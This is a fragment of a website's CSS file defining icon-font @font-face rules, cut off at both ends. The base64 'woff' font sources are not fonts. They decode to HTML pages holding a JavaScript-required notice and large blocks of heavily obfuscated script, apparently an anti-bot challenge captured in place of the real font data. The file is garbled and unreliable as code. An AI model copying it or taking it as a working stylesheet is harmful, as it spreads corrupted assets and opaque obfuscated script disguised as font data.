e2lmKHNbRHcoJzB4M2QnLCcweDgzJyldKHNbREkoLScweGUwJywtJzB4YWInKV0sc1snaHlkTFAnXSkpR1t2XT1yW0RJKC0nMHhjZScsLScweDYxJykrRGEoJzB4M2VmJywnT2J2JScpXShMKTtlbHNlIHJldHVybiBxO31lbHNle2lmKHNbRHcoJzB4NGQnLCcweDJkJyldKHNbREkoLScweDhjJywtJzB4MzEnKV0sc1tEYSgnMHgzZGUnLCdVJVZlJyldKSlzW0RhKCcweDRlZicsJyNKTncnKV0ocSwtMHhlNjIrMHgxKi0weDEyMzkrLTB4MSotMHgyMDliKTtlbHNle3ZhciBMPXFbbzAoJzB4MjE3JywnQUFhWScpXShHLGFyZ3VtZW50cyk7cmV0dXJuIHY9bnVsbCxMO319fWVsc2Ugc1tEYSgnMHg0ZDMnLCcoSF4qJyldKG8sMHhmOTYrLTB4ZTUqMHgyYisweDE2ZTEpO31jYXRjaChMKXt9fQogICAgPC9zY3JpcHQ+CjwvYm9keT4KCjwvaHRtbD4=)format("woff");font-weight:400;font-style:normal}@font-face{font-family:qaxd-icons;src:url(data:text/html;base64,PCFET0NUWVBFIEhUTUw+CjxodG1sPgoKPGhlYWQ+CiAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0IiBub25jZT0iNzExMWE3MTVlM2VjNDkwMWJjZDM0ZTcxY2UxIiBzcmM9Ii8vbG9jYWwuYWRndWFyZC5vcmc/dHM9MTczOTAxNjE1MzA5MCZhbXA7dHlwZT1jb250ZW50LXNjcmlwdCZhbXA7ZG1uPWZvcnVtLmJ1dGlhbi5uZXQmYW1wO3VybD1odHRwcyUzQSUyRiUyRmZvcnVtLmJ1dGlhbi5uZXQlMkZzdGF0aWMlMkZqcyUyRnFheGQlMkZmb250cyUyRmljb25mb250LndvZmYmYW1wO2FwcD1jb20uZ29vZ2xlLkNocm9tZSZhbXA7Y3NzPTMmYW1wO2pzPTEmYW1wO3JlbD0xJmFtcDtyamk9MSZhbXA7c2JlPTEmYW1wO3N0ZWFsdGg9MSZhbXA7c3QtdWE9VFc5NmFXeHNZUzgxTGpBZ0tFMWhZMmx1ZEc5emFEc2dTVzUwWld3Z1RXRmpJRTlUSUZnZ01UUXVNU2tnUVhCd2JHVlhaV0pMYVhRdk5qSXdMakl3SUNoTFNGUk5UQ3dnYkdsclpTQkhaV05yYnlrZ1ZtVnljMmx2Ymk4eE55NDJMalF6SUZOaFptRnlhUzgyTWpBdU1qQT0mYW1wO3N0LWNoLWJyYW5kcz0mYW1wO3N0LWNoLW1vYmlsZT0mYW1wO3N0LWNoLXBsYXRmb3JtPSZhbXA7c3Qtd3J0YyZhbXA7c3QtcHVzaCZhbXA7c3QtbG9jJmFtcDtzdC1qYXZhJmFtcDtzdC1yZWY9YUhSMGNITTZMeTltYjNKMWJTNWlkWFJwWVc0dWJtVjBMdz09JmFtcDtzdC1kbnQiPjwvc2NyaXB0PjwvaGVhZD4KCjxib2R5PgogICAgPG5vc2NyaXB0PgogICAgICAgIDxoMT48c3Ryb25nPlBsZWFzZSBlbmFibGUgSmF2YVNjcmlwdCBhbmQgcmVmcmVzaCB0aGUgcGFnZS48L3N0cm9uZz48L2gxPgogICAgPC9ub3NjcmlwdD4KCiAgICA8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+CiAgICAgICAgZnVuY3Rpb24gYigpe3ZhciBvUz1bJ1dSSmNTdDVRV091Jywnd05oZEhTa2tvcScsJ0ZYdGRIcXRjVGEnLCdETXZZQXd5JywnQ2dmWUMydScsJ3l3bjBBdzgnLCd6S2pvd3V1JywnV1EwWXJtb0dXNVMnLCdBMmp5QWVpJywnbEx0ZEhDa0tXUXknLCdXNEtjRkNrQlc0OCcsJ3F1amRyZXUnLCd5TnZncjNhJywnZllCZFBtbzJ6RycsJ3VmZnN1MXEnLCdCMkhMQXhDJywncXdqcXVnaScsJ3p3bmJydzQnLCdtWmlXb3RyWXF3cnRBS3EnLCd5MjlTJywndGVyWXplQycsJ1c2cWVXUnExJywnV09KZFR3clVGRycsJ3Zlek5DMGUnLCdBdzVQRGEnLCdXUlZjT2dKY1ZDazInLCdDd3Zzek5HJywneTJISENLZScsJ244a2NFQ2tvJywnZUdmTXlyeScsJ3N1NW5EeEsnLCdEMGZtc3dXJywncmVYc0FOTycsJ2VTb0pBOGtQRWEnLCd5S1hWdU5tJywnZXc4RHQ4b2gnLCdnYjRHeENvdXE4a3hXUXRjVU5yUkJXJywndk01MXUzcScsJ0V2YnhCMEMnLCd5TXZNQjFlJywncndMaXRlMCcsJ3JNbnZzTGUnLCd1M0Ric3UwJywnQXhudEJNeScsJ2VHeUJkbWtTJywneTJmU0JhJywnV1JUcW9OdUQnLCdBdzVXRHhxJywnd0tIUXV4RycsJ1dST2hXUmpGRUcnLCdFdkx1cXdLJywnV1JXVVdQYjdCVycsJ1c2NExrbWs4eGEnLCdXUXp4bGdlRycsJ2FDb3dkTFNOJywnaVNvSnVDa0h3cScsJ1c1ZGRHQ2tYYjBpJywnQTJYcnVmaScsJ0IyalF6d20nLCdtSkcxbnRxWnpnMWpxdW5QJywncTJqZXdMSycsJ0MwUmRKQ2tvaEcnLCdBZ0hJQndxJywndWdqTXplTycsJ3dmYkx0TG0nLCd6MWZqek00Jywnc0t2Mmdta1MnLCdXUEpjSTJOY1FDa0knLCdxdlB2czBpJywnRE05eXNNTycsJ0F3OVUnLCdETExIQ2hPJywnVzRQM1c1VGZwRycsJ3RMYktyeEcnLCdtdG1ZczBybUJ3RHMnLCdrQ2s1V09kY1ZXJywnc3ZybnFLSycsJ210YTBtdHkxbWUxNHF4ZmZDcScsJ25kVmRHU285dnEnLCdXT08zV084aEJhJywnenc1Tnp0MCcsJ1c3enJXUXZKVzVPJywnQWVETnExZScsJ1c0M2RVWEpkVVNveFc3MVFXNEZkUG1rYXVXJywnVzVPQVdROFFXUWxkTG1vSUZLV0hyQ29XJywndXRMcXhta0InLCdDZnZuQmhDJywndUxyVXIyRycsJ2JDa2FXN0NnV1FxJywndjFEb3p2SycsJ3NoUFVESzQnLCd2Z0gweTBlJywnbjhvcm92T0knLCdXNlNaRUNrcFc2dScsJ0QySFlBMnknLCdXNFdDbVcnLCdyZ3I0cnd1Jywna2VwY0lnWmRMYScsJ3Z3anFzd20nLCdXNHJvVzREVldRYScsJ244a1VXNks5V1I0JywnZ21rWlc2TmRMU2tOJywnc2ZIcndNQycsJ3UyUG1FZnEnLCd2dVBVQk5pJywneUdqVHVta3UnLCdiU29abzFHLycsJ2cwSEliU2twaFNreScsJ3JTb1dmcVRiJywnQmc5Snl4cScsJ2dDb3l5Q2tqdGEnLCdXN2hkT1NvN0JLSycsJ1dPN2RLY1ZkR0NvYycsJ21KbTFtSmlZb2hISHQxSDVzRycsJ3VMUEt1MDQnLCd5MkhIQ0ttJywnemMvZFBYQmNUYScsJ3pndklEcScsJ1c0UmRNMzRWYmEnLCd0dVhlQjB1JywnVzVpbldPZTFXNm0nLCdXUmZQV1JHNGRXJywndktMVnVMSycsJ3dTb2dFclR1JywnYmVsY1RtbzhXUkcnLCd0TmI1cndpJywnV1BMbmpNbTYnLCdXUXhkVWhqTHRHJywnd05SY0hkR28nLCdtQ29Vd0NrWkRhJywnd3Vuc3V1cScsJ0MzckhEZ3UnLCdXNWhkSm1vNHV4OCcsJ3pNTGNBZVcnLCdBZzlaRGc0Jywnd0tMMHEyNCcsJ0MyVmNQcXUwJywnQ2Vuc0JlcScsJ2tzZjNzcTAnLCdqdjB3QnZTJywnV1B6UFdPNGVhYScsJ1dQbGNTdHJzV09XJywneVozY1QxYTgnLCdyZzV1dDB1JywndU5ueHNlbScsJ1c0NVRkZkNwJywndE5yZUJ1bScsJ2NmYWlDOG9WJywnRHFOZExiL2NLVycsJ1dRM2NLWHRkU21rMycsJ0RNZlNEd3UnLCdtU29oRVkvY1BxJywndks1QWdDb0cnLCd3SGF2QzhveCcsJ2l0N2RIbW9NdmEnLCd6dXJQREs4JywnaVNrMVdPSmNPQ2s0JywnRGc5dERoaScsJ1dQeGNVWDVCV1FLJywnZVNrdFc3cWdXT0snLCdCMnJtc3VDJywnQVpPZ0ZDb2gnLCd5Tkx4djB1JywnVzdPQ1c0bGRLOGtXJywnV1BIQ2pnT1knLCd3dVBzdGhhJywncTNEZXFLUycsJ1c0VzJXUEhsd0hqVCcsJ1dQRmRIOGtrVzdkY1RHJywnek52VXkzcScsJ2pmMFFrcScsJ2lTa1NXN05kVlNrSCcsJ21KS1dDZnZ4QzNQWicsJ3l4YldCaEsnLCdXNWRkUENvRUZ2eScsJ3JnMXRDZzAnLCdXUVg0V09PVmNXJywnZ2IvZExtby9xRycsJ3ozTE5BMUMnLCdjQ2trV1EzY1FDazgnLCd5dzFMJywnaVNrT1c3cTVXUG0nLCdXUEJjVUh2OVdRSycsJ1c0blNlMEtlJywndjFibHd1ZScsJ3NkZGNMbWtNVzdDJywndWUxaUJLaScsJ3hjVENrWWEnLCd5TnJKekx5JywnRU45Mms4b3onLCdXT1JkUmFWZFRtb1EnLCdXUWxkVk05TXZHJywnd3VqUENMcScsJ3ExZkpFaEcnLCdCTTVVQTBXJywnbGQzZFVMZjVmMm50V1JoZEkwUzAnLCdxMDljemdLJywnV1J6NFdSYWRjVycsJ3lLckhEZzAnLCdCMnJMcXhxJywncU01ZkNmRycsJ0RMMUJvbW8wJywncjFQbEIzYScsJ0JLalh2aEsnLCdpY0gwQ051JywnVzduNlc2VHhrcScsJ3NnZm9DMWUnLCdDM2JTQXhxJywnektYTXN3VycsJ1dQWmRKU2t6VzRoY01HJywnZG1vS3VDa29ERycsJ3RodnlyZTgnLCd5MjlVQzNxJywneXh6VEVnTycsJ3F1WEtFTW0nLCdDMnZIQ01tJywnd0w4S3h2UycsJ24ySG5ydTFSdkcnLCdXUnY3V1FtTmRHJywnV1Exelc1RFdXNksnLCdXNFZkUjhrbWJ4YScsJ3lyOHJ5OG90JywneXVYa3J1VycsJ2c4a01DOGtmbXEnLCdXT1grV091bGhhJywnVzdwY1RxRmRSWnEnLCdrbWtJV09OY1E4a3AnLCdXNVdFVzY0cldRRycsJ0NoUEF3eHUnLCdBeFBPQ2ZpJywnRkNrV3BDb2MnLCdnOG9JdDhrQ0VhJywnVzZoY1NYN2RQR2UnLCdydGlrczhvcCcsJ3BlVmRNQ2tsV1BXJywnZTI3Y1JNM2RPVycsJ1dSdWdXUExlREcnLCdtU2s3VzdDSFdSdScsJ0NNdldCZ2UnLCdzeHZucndpJywnZzNDOEI4b1YnLCdXNXE0VzZGZEpTazInLCdqZU5kSUNrT1dQZScsJ3QyalF6d20nLCd5MkhIQXc0JywnbzhreHJTa3BXN0MnLCd1Zno1QjFHJywnZlNrNlc3bGROOGtNJywnZ21rYXI4a0hXN0cnLCdXNDk0ZFcnLCd5Mm54ekxDJywndU5ueUNNQycsJ0J2YmNDdzAnLCd6YmxjVG1rc1c3eScsJ1dPVmNVMDdjVUNrYicsJ0RlRGV2MGknLCdXUVRoVzVUUFc0bScsJ3E4b1ZudG5pJywnVzdYeG1nQ2EnLCdkOG9Sa3ZLSScsJ3BNQmNPaHRkSlcnLCdXUU5jT0xKY0lTa0wnLCdDM3JZQXc0Jywnbjhva0ZTaytBcScsJ1dQWmRJQ2tuVzUzY1JxJywndGdUYkNLbScsJ3d1SFFyaGUnLCd3c3ZEQlNraycsJ1c3NXBpeGFWJywnV09QMFdPQycsJ3NaOUpEQ2txJywnQ2hqVkRnOCcsJ1dSTmNRZDl5V1B5Jywnc0NvMG1jem4nLCdDM3ZJQndLJywnVzUvZEtnOGxnYScsJ1dRWFFXUHlhZGEnLCdDM1AxQmVXJywna0lHL29MUycsJ3ZoejV2eHUnLCdXT2lGV1JidXdhJywnVzRMU1c0TGYnLCdEd2ZWdTJTJywnenNLR0UzMCcsJ2l1SmRKbWtNV1B5JywncWNxSnFtb1gnLCdDTnZKRGc4JywnVzVMbW1nVzUnLCdXNTdjSktqSkFxJywndmhMUkEyaScsJ3UyNXZ3dXknLCdrMWRkUUNreVdScScsJ1dPN2NISHZtV1J1Jywnc2d2a0FObScsJ0NMSGRCTUcnLCd1dUR4eXc0JywnZVdaZFVTb3l6RycsJ3pnSGx1S3UnLCd6dzUwJywnQnVIU0V2RycsJ3pHaGNIQ2tCVzZlJywnRGVqUXNldScsJ3N3RHp1Z3knLCdXNXZNVzVyd2xXJywneXdMZ3dncScsJ1c3clJXN1NkVzdPJywneEpuOGRYdScsJ1dQYkdXUHVNamEnLCdXNHF1VzVtY1dRNCcsJ1dQUmNSOGt5a1kwJywneU05S0VxJywnVzdwZEtta3phaGUnLCdjOG94d3FoY0dhJywnV1FWZE1xVmRHVycsJ3NMOVljOGt6Jywnd2hiTUMzRycsJ0Z1bGNQZGFaJywnd2VyMUV1aScsJ2gyM2RHbW9KV08zY0tJZmh2MnZDJywndHdqVHV3VycsJ3p1RDB1MnEnLCdXN0pjTGNaZFFkRycsJ0EyRHlFd2knLCdEZ3ZaRGEnLCdXNlRpbDBtZycsJ3R1elVkbWt2Jywnc3dIa0NLVycsJ0FnZllxMjgnLCdFbWtTV1FYUmJHJywnd3ZEZ0QzeScsJ3RLclhlVycsJ21jMDV5czAnLCdyTXIycnV5JywnaW1rK1c3N2RNOGsyJywncDNENkQzbScsJ3pNOVlCcScsJ1dQdGNRMU5jUENrYicsJ3plbk9Bd1cnLCdtaFdZRmRlJywnRExIU0NoYScsJ3N4cmVDTWUnLCd5TnZNek11JywnRkNvT1dRRmNJOG83Vzd0ZFFta3FjOG96RXNxJywnc0tuUkQwZScsJ3F1RFZCMHEnLCdwSWhkSkNrV1dQcScsJ1dQcVlDU28yJywnVzU5c3BoR2QnLCdCMW5Ld3d5Jywna0NvU3BoOG4nLCdXNXRkS0NvYUNNSycsJ0QySFBCZ3UnLCdXNDNjTlNvbldPQmRSd0c0QWhITWViNCddO2I9ZnVuY3Rpb24oKXtyZXR1cm4gb1M7fTtyZXR1cm4gYigpO31mdW5jdGlvbiB1KEQsbyl7dmFyIHM9YigpO3JldHVybiB1PWZ1bmN0aW9uKHEsUil7cT1xLSgtMHgxMzgrMHgxKi0weGI1ZCsweGQwOSoweDEpO3ZhciBHPXNbcV07aWYodVsnZ2FrTmZNJ109PT11bmRlZmluZWQpe3ZhciB2PWZ1bmN0aW9uKFMpe3ZhciBBPSdhYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ekFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaMDEyMzQ1Njc4OSsvPSc7dmFyIHo9JycsTj0nJyxFPXordjtmb3IodmFyIEs9MHg2YjArLTB4MTdiMystMHgzNjcqLTB4NSxkLEosZT0weDJmNyoweDcrLTB4MjRlNysweDI3KjB4NmE7Sj1TWydjaGFyQXQnXShlKyspO35KJiYoZD1LJSgweDMzMCstMHgxKi0weDIyMzUrLTB4MSoweDI1NjEpP2QqKDB4YzEzKzB4ZDMzKzB4MTkwNiotMHgxKStKOkosSysrJSgtMHhhZDcrLTB4MWZjNisweDJhYTEpKT96Kz1FWydjaGFyQ29kZUF0J10oZSsoLTB4MWNkOSoweDErMHg5MDMrMHgxM2UwKSktKC0weDFmYWYrMHgxMSoweDFkNCsweGIqMHhmKSE9PS0weDEwMDMqMHgyKy0weDEqLTB4NzkrMHgxKjB4MWY4ZD9TdHJpbmdbJ2Zyb21DaGFyQ29kZSddKC0weGU2NyotMHgxKy0weGQqLTB4MTY1Ky0weDFmODkmZD4+KC0oMHg4KjB4NGFjKy0weDI1OTMqMHgxKy0weDEqLTB4MzUpKksmMHg4ZDYrLTB4OTcrLTB4ODM5KSk6SzotMHgyMThhKzB4MmNiKzB4MWViZil7Sj1BWydpbmRleE9mJ10oSik7fWZvcih2YXIgbT0tMHgxOWRhKzB4NjAqLTB4ZSsweDEqMHgxZjFhLGM9elsnbGVuZ3RoJ107bTxjO20rKyl7Tis9JyUnKygnMDAnK3pbJ2NoYXJDb2RlQXQnXShtKVsndG9TdHJpbmcnXSgtMHgxMjkzKy0weDFmYmIrMHg3MzIqMHg3KSlbJ3NsaWNlJ10oLSgweDEqMHgzNTMrLTB4MWM5KjB4ZisweDE3NzYpKTt9cmV0dXJuIGRlY29kZVVSSUNvbXBvbmVudChOKTt9O3ZhciBoPWZ1bmN0aW9uKFMsQSl7dmFyIHo9W10sTj0tMHhkKjB4ZDArMHgxMGMwKy0weDEwKjB4NjMsRSxLPScnO1M9dihTKTt2YXIgZDtmb3IoZD0weDFhMjMrLTB4MzQ5Ki0weDkrMHg3YyotMHg3MztkPDB4NTkrLTB4MTAyKjB4MTErLTB4MSotMHgxMWM5O2QrKyl7eltkXT1kO31mb3IoZD0tMHgxODRjKy0weDcwOSstMHgyNjkqLTB4ZDtkPDB4NioweDU5ZSsweDZjZisweDIzKi0weDEyMTtkKyspe049KE4reltkXStBWydjaGFyQ29kZUF0J10oZCVBWydsZW5ndGgnXSkpJSgtMHgxZjQ2Ky0weDFiNzUrMHg5KjB4NmEzKSxFPXpbZF0seltkXT16W05dLHpbTl09RTt9ZD0weDExYzQrMHg3YTcqMHg0Ky0weDMwNjAsTj0weDZlNCstMHgxMDVhKy0weDk3NiotMHgxO2Zvcih2YXIgSj0weDIyOTQrLTB4ZjRiKzB4MTM0OSotMHgxO0o8U1snbGVuZ3RoJ107SisrKXtkPShkKygtMHgyKi0weDMxNCstMHhjNisweDk5Ki0weDkpKSUoMHg0KjB4NGFhKzB4MWU1Ky0weDEzOGQpLE49KE4reltkXSklKDB4M2QqMHgxZisweDhiYistMHhmMWUpLEU9eltkXSx6W2RdPXpbTl0seltOXT1FLEsrPVN0cmluZ1snZnJvbUNoYXJDb2RlJ10oU1snY2hhckNvZGVBdCddKEopXnpbKHpbZF0reltOXSklKC0weDEzNyotMHhjKzB4MSoweDZiMSstMHgxNDQ1KV0pO31yZXR1cm4gSzt9O3VbJ2daa3NWTSddPWgsRD1hcmd1bWVudHMsdVsnZ2FrTmZNJ109ISFbXTt9dmFyIHI9c1stMHgxM2YzKy0weDczNysweDFiMmFdLEw9cStyLGY9RFtMXTtpZighZil7aWYodVsnckpYaW1GJ109PT11bmRlZmluZWQpe3ZhciBTPWZ1bmN0aW9uKEEpe3RoaXNbJ2VMdldlbiddPUEsdGhpc1snblBTUmRzJ109WzB4MjA3NistMHgxMyoweGY1Ky0weDU3KjB4MmEsLTB4MiotMHgzMzIrLTB4NSotMHg3MTMrLTB4MjljMywweGZhMiotMHgxKy0weDcyKzB4MTAxNF0sdGhpc1snTWNlTVhzJ109ZnVuY3Rpb24oKXtyZXR1cm4nbmV3U3RhdGUnO30sdGhpc1sneGZwVEhyJ109J1x4NWN3K1x4MjAqXHg1YyhceDVjKVx4MjAqe1x4NWN3K1x4MjAqJyx0aGlzWydqanJBbGsnXT0nW1x4Mjd8XHgyMl0uK1tceDI3fFx4MjJdOz9ceDIwKn0nO307U1sncHJvdG90eXBlJ11bJ3l4ZU9tdCddPWZ1bmN0aW9uKCl7dmFyIEE9bmV3IFJlZ0V4cCh0aGlzWyd4ZnBUSHInXSt0aGlzWydqanJBbGsnXSksej1BWyd0ZXN0J10odGhpc1snTWNlTVhzJ11bJ3RvU3RyaW5nJ10oKSk/LS10aGlzWyduUFNSZHMnXVsweDIzZSoweDQrMHgxKjB4MWFkMistMHgyM2M5XTotLXRoaXNbJ25QU1JkcyddWzB4YyotMHhlYysweDQ3Ki0weDQzKy0weDFkYTUqLTB4MV07cmV0dXJuIHRoaXNbJ1RNcHZXVSddKHopO30sU1sncHJvdG90eXBlJ11bJ1RNcHZXVSddPWZ1bmN0aW9uKEEpe2lmKCFCb29sZWFuKH5BKSlyZXR1cm4gQTtyZXR1cm4gdGhpc1sndkxuRkRMJ10odGhpc1snZUx2V2VuJ10pO30sU1sncHJvdG90eXBlJ11bJ3ZMbkZETCddPWZ1bmN0aW9uKEEpe2Zvcih2YXIgej0weGI0OSstMHhjNTUrMHgxMGMsTj10aGlzWyduUFNSZHMnXVsnbGVuZ3RoJ107ejxOO3orKyl7dGhpc1snblBTUmRzJ11bJ3B1c2gnXShNYXRoWydyb3VuZCddKE1hdGhbJ3JhbmRvbSddKCkpKSxOPXRoaXNbJ25QU1JkcyddWydsZW5ndGgnXTt9cmV0dXJuIEEodGhpc1snblBTUmRzJ11bMHgyMmM1KzB4NTgyKy0weDEqMHgyODQ3XSk7fSxuZXcgUyh1KVsneXhlT210J10oKSx1WydySlhpbUYnXT0hIVtdO31HPXVbJ2daa3NWTSddKEcsUiksRFtMXT1HO31lbHNlIEc9ZjtyZXR1cm4gRzt9LHUoRCxvKTt9KGZ1bmN0aW9uKG8scyl7ZnVuY3Rpb24gVChvLHMpe3JldHVybiBSKHMtJzB4MTdkJyxvKTt9dmFyIHE9bygpO2Z1bmN0aW9uIGwobyxzKXtyZXR1cm4gdShvLScweDJkZCcscyk7fWZ1bmN0aW9uIGcobyxzKXtyZXR1cm4gdShzLScweDI4OScsbyk7fWZ1bmN0aW9uIG4obyxzKXtyZXR1cm4gUihvLScweDExYicscyk7fXdoaWxlKCEhW10pe3RyeXt2YXIgRz1wYXJzZUludChsKCcweDNhYScsJ0RyQnYnKSkvKC0weDU5MysweDI2NGMrLTB4MjBiOCkqKC1wYXJzZUludChsKCcweDNjMicsJzhjXnUnKSkvKC0weDczKy0weGUqLTB4OTIrMHgxKi0weDc4NykpKy1wYXJzZUludChUKCcweDE2MCcsJzB4MjA5JykpLygweDEqMHgxZGE1KzB4MSotMHhhYjMrMHgxKi0weDEyZWYpKigtcGFyc2VJbnQobignMHgxZGYnLCcweDI4YycpKS8oLTB4MTI4YSstMHg1MyotMHgxYSsweGQ4KjB4YykpK3BhcnNlSW50KG4oJzB4MWUyJywnMHgxZmQnKSkvKDB4ZTkzKy0weDEwMjEqMHgxKzB4MWYqMHhkKSstcGFyc2VJbnQoVCgnMHgyNjknLCcweDI2OCcpKS8oMHg3NiotMHgyOSsweDEqMHhjZDErMHg2MWIpKihwYXJzZUludChsKCcweDNmZScsJyQoMEgnKSkvKC0weDIxMzIrLTB4MjUwYysweDEqMHg0NjQ1KSkrcGFyc2VJbnQobCgnMHg0MWEnLCdAbmpAJykpLygtMHgxOWI2Ky0weDEyMzQrMHgyYmYyKSstcGFyc2VJbnQoVCgnMHgyOTgnLCcweDIzMicpKS8oLTB4MSotMHgxZTQ5KzB4OTIyKy0weDI3NjIpK3BhcnNlSW50KG4oJzB4MjQxJywnMHgyMTInKSkvKDB4MWQ5ZSstMHgxZGMxKzB4MmQpKihwYXJzZUludChsKCcweDM3YicsJzhjXnUnKSkvKC0weGI2MystMHgxKjB4OTFmKzB4MTQ4ZCkpO2lmKEc9PT1zKWJyZWFrO2Vsc2UgcVsncHVzaCddKHFbJ3NoaWZ0J10oKSk7fWNhdGNoKHYpe3FbJ3B1c2gnXShxWydzaGlmdCddKCkpO319fShiLDB4MSotMHhkN2JlYistMHgxZiotMHg2MDBhKzB4NioweDE5MjgyKSk7dmFyIGM9Jy9XWldTUkVMM04wWVhScFl5OXFjeTl4WVhoa0wyWnZiblJ6TDJsamIyNW1iMjUwTG5kdlptWT0nLEY9J0MjJjk5a3J9XXd1IXYnLEM9JzM1NDQnLHA9J0dFVCcsUT0nJyxNPSdXWldTX0NIQVJTRVQnLFk9JzI4NmM1Y2Y3YzkxYTUwMDkxYjcwOTU2MjY4OGYyNmNiOTYwYzMzMDdiNTM4ZmZlZTRkNDFjNGJhODM0NzAzNmUwOGU0OGQ5OThlMWIzMWFhMDA1YzE0ZGFkNTFmYWRlMDdjMjEnO2Z1bmN0aW9uIFUobyl7ZnVuY3Rpb24gayhvLHMpe3JldHVybiBSKHMtJzB4Mzk0JyxvKTt9dmFyIHM9eyd0R0RXQic6ZnVuY3Rpb24oUyxBKXtyZXR1cm4gUytBO30sJ0xrQXJDJzprKCcweDRhZScsJzB4NDgzJyksJ2NjV2ZXJzonZ2dlcicsJ2VHdFNkJzp4KCdJN3NJJywtJzB4MjhmJykrdCgnMHg0YzEnLCcweDRlOCcpKyd0JywnWFRURlgnOmsoJzB4NGMxJywnMHg0MTknKSt4KCdvYTNJJywtJzB4MWFmJykrSCgnNWREcycsJzB4MTU3JykrdCgnMHgzZGMnLCcweDM4ZCcpKydVVldYWScrSCgnYiFlQScsJzB4MWJiJykrJ2VmZ2hpJysnamtsbW4nK3goJzNuQGknLC0nMHgxYmEnKSt4KCdvYTNJJywtJzB4MjNkJykrJ3l6MDEyJytIKCdJN3NJJywnMHgxMTMnKStIKCdCWjMjJywnMHgxZjknKSwnbXRoVksnOmZ1bmN0aW9uKFMsQSl7cmV0dXJuIFM8QTt9LCdCbkVwWCc6ZnVuY3Rpb24oUyxBKXtyZXR1cm4gUyZBO30sJ3RhSWx2JzpmdW5jdGlvbihTLEEpe3JldHVybiBTPT1BO30sJ0xEcmRHJzpmdW5jdGlvbihTLEEpe3JldHVybiBTPT09QTt9LCdYUGVOUyc6J1dtRHlVJywnaGhibWQnOmZ1bmN0aW9uKFMsQSl7cmV0dXJuIFM+PkE7fSwnVHZ5VXUnOmZ1bmN0aW9uKFMsQSl7cmV0dXJuIFM8PEE7fSwnU3RIalknOmZ1bmN0aW9uKFMsQSl7cmV0dXJuIFM9PUE7fSwncnNteUYnOmZ1bmN0aW9uKFMsQSl7cmV0dXJuIFM9PT1BO30sJ1FHV2FuJzonalBZc2UnLCdVSm5ucic6SCgnUDZkdCcsJzB4MWQ1JyksJ3FVbWpqJzpmdW5jdGlvbihTLEEpe3JldHVybiBTfEE7fSwnWkhqUXgnOmZ1bmN0aW9uKFMsQSl7cmV0dXJuIFM8PEE7fSwnVGh0Y0EnOmZ1bmN0aW9uKFMsQSl7cmV0dXJuIFM+PkE7fSwnSENhT1AnOmZ1bmN0aW9uKFMsQSl7cmV0dXJuIFN8QTt9LCdzWktVbyc6ZnVuY3Rpb24oUyxBKXtyZXR1cm4gUzw8QTt9LCd2b1hKaic6ZnVuY3Rpb24oUyxBKXtyZXR1cm4gUz4+QTt9LCdaSXRDbic6ZnVuY3Rpb24oUyxBKXtyZXR1cm4gU3xBO30sJ1dNZW1IJzpmdW5jdGlvbihTLEEpe3JldHVybiBTJkE7fSwnU2pMeFQnOmZ1bmN0aW9uKFMsQSl7cmV0dXJuIFMmQTt9fSxxPXNbeCgnM0xdWicsLScweDIxYScpXTtmdW5jdGlvbiB0KG8scyl7cmV0dXJuIFIoby0nMHgzNTQnLHMpO31mdW5jdGlvbiBIKG8scyl7cmV0dXJuIHUocy0nMHg0YScsbyk7fXZhciBHPW9bSCgnNUVESScsJzB4MTYwJykrJ2gnXSx2PScnO2Zvcih2YXIgcj0weDI0OTEqMHgxKzB4YzdiKy0weDMxMGM7c1snbXRoVksnXShyLEcpOyl7dmFyIEw9c1t0KCcweDQ5NicsJzB4NDc5JyldKG9bJ2NoYXJDJyt0KCcweDQ5NScsJzB4NDJhJyldKHIrKyksLTB4MjcqLTB4ZGYrLTB4OGZhKy0weDE4MDApO2lmKHNbeCgnSmhvVicsLScweDI3NicpXShyLEcpKXtpZihzW2soJzB4NDhhJywnMHg0MjInKV0oc1tIKCdSZ0RbJywnMHgxNTgnKV0sc1trKCcweDQyNycsJzB4NDRlJyldKSl7dis9cVtIKCcxTnVoJywnMHgxMjEnKSsndCddKHNbeCgnJnRyYycsLScweDFkNCcpXShMLC0weDkqMHgzMjkrMHg1KjB4NWJiKy0weDM0KSksdis9cVsnY2hhckEnKyd0J10oc1trKCcweDUxMycsJzB4NTI1JyldKHNbSCgnRHJCdicsJzB4ZGQnKV0oTCwtMHgxNmVlKy0weDEqLTB4MjYxMistMHhmMjEpLDB4MyoweDhiZCstMHg5Ki0weDY1Ky0weDFkYzApKSx2Kz0nPT0nO2JyZWFrO31lbHNlKGZ1bmN0aW9uKCl7cmV0dXJuIVtdO31bJ2NvbnN0JysncnVjdG8nKydyJ10oc09JV0xmW2soJzB4NDg0JywnMHg1MGQnKV0oc09JV0xmW2soJzB4NTIwJywnMHg1MTcnKV0sc09JV0xmW3QoJzB4NGM4JywnMHg1NDUnKV0pKVt0KCcweDQ3YicsJzB4M2Q1JyldKHNPSVdMZltrKCcweDU5NycsJzB4NTRlJyldKSk7fXZhciBmPW9bdCgnMHg0NDEnLCcweDQ2ZCcpKydvZGVBdCddKHIrKyk7aWYoc1t4KCdCWjMjJywtJzB4MjY4JyldKHIsRykpe2lmKHNbSCgnQlozIycsJzB4MTcyJyldKHNbdCgnMHg0ZjUnLCcweDU5YicpXSxzW2soJzB4NGYyJywnMHg0NzYnKV0pKXt2YXIgej1xW3QoJzB4NDdiJywnMHgzY2MnKV0oRyxhcmd1bWVudHMpO3JldHVybiB2PW51bGwsejt9ZWxzZXt2Kz1xWydjaGFyQScrJ3QnXShzW3goJ2JnaGsnLC0nMHgyYjYnKV0oTCwweDI5KjB4ZGUrLTB4MTNmNystMHhmOTUpKSx2Kz1xW2soJzB4NDk1JywnMHg0MjknKSsndCddKHNbJ3FVbWpqJ10oc1t4KCczTF1aJywtJzB4MjBlJyldKHNbeCgnNDcheicsLScweDFkNycpXShMLC0weDI1YWQrLTB4MSoweDE1NGUrMHgzYWZlKSwtMHgyYioweGNjKy0weDEqLTB4MzQzKy0weDMqLTB4YTU3KSxzW3QoJzB4NDBjJywnMHgzN2MnKV0oc1tIKCdjcHUmJywnMHhjNCcpXShmLC0weGQ2Ki0weDE4KzB4MjFkYSoweDErLTB4MzRmYSksLTB4ZGVjKy0weDE5MzIrMHgyNzIyKjB4MSkpKSx2Kz1xW3QoJzB4M2U5JywnMHgzYzAnKSsndCddKHNbdCgnMHgzZmUnLCcweDRhOCcpXShzW0goJ1VkM